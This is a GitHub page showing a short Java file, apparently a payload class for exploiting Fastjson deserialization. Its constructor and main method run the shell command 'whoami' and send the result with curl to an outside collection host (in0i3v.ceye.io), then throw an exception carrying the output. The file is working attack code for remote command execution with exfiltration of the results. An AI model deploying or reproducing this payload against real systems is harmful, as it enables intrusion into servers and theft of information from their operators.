-
Notifications
You must be signed in to change notification settings - Fork 0
/
Fastjson_dns.java
28 lines (28 loc) · 1.02 KB
/
Fastjson_dns.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Fastjson_dns {
public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
return sb;
}
public Fastjson_dns() throws Exception {
String result = "";
result = exec("whoami");
String cmd = "curl http://in0i3v.ceye.io/" + result;
throw new Exception(exec(cmd));
}
public static void main(String[] args) throws Exception {
String result = "";
result = exec("whoami");
String cmd = "curl http://in0i3v.ceye.io/" + result;
throw new Exception(exec(cmd));
}
}